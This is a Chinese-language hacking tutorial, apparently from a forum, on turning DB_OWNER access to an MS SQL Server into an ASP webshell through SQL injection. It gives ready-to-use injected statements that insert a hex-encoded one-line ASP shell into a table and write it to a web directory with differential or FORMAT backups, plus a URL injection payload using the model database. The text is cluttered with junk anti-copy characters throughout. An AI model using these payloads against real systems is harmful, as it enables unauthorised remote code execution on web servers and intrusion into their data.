DB_OWNER权限得到webshell的两点改进:
4 \) M g" t! M$ `3 h
1 [" x) e- n4 ~6 s B; p; M, U1 R6 W减少备份文件大小,得到可执行的webshell成功率提高不少( O' q7 O) j* F, w
一利用差异备份
# Y7 ?# \, v! @0 o# h. l加一个参数WITH DIFFERENTIAL
) Z+ g7 ^" O$ c. A+ l. x
+ D; k1 V8 ?$ I1, E; U) v/ K+ z( M' n, x* f
2
( h5 [# A) k( b39 O2 m" k! b3 M5 e+ ?" s4 ^: @
41 t& g' l# S, j- }2 v
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s+ ], W, T t; S
create table [dbo].[xiaolu] ([cmd] [image]);1 c% o& [% q: G7 Q+ L# ]0 H" |# H7 A# T
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)0 U$ T' J& N$ s% W
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
" N- d6 a! Q/ a2 ?' O9 f% ^* r* I( i2 v
二利用完全FORMAT* f0 \% g& C9 o8 M [6 M: C
加一个参数WITH FROMAT" l! L0 |# K, f- ?
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以3 H" I% \5 w O
0 Y& I( C$ a* N7 R
1
& l+ E; R5 p7 x2 N Z. C% P2
! h! q ]# V- l) @ R3# D6 K- u: [* X) u+ Q9 g( K
4
9 c/ W2 d% o1 ~ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s J* L8 h7 f9 z
create table [dbo].[xiaolu] ([cmd] [image]);8 ?$ \# R8 C. d4 o. A
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
; h0 u" C& Y( p {" t4 pdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
1 B6 D# Y) o6 k
+ {' J+ V# E1 @/ M总的来说就是那么简单几句,下面以备份数据库model为例子( L# e9 @3 O/ ], Q9 V
1
: V4 @4 T. H$ t$ }, m# \& J: S0 [* {( d( r7 q3 d+ e0 G
1/ ~! m8 G% S+ @2 Z8 _: B# m# ~
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') % V+ Z$ a2 ]. M+ T7 h/ o+ Z( r
6 b7 o7 k2 b) |' U" J& j' W6 f6 c
2, l# t# @8 x% t
9 ^' J6 L0 U# o- v. m7 O' {1
' p8 U: |% h+ g id=1;backup database model to disk='你的路径‘ with differential,format;-- ! @# w3 Z( d5 Y1 t7 N
|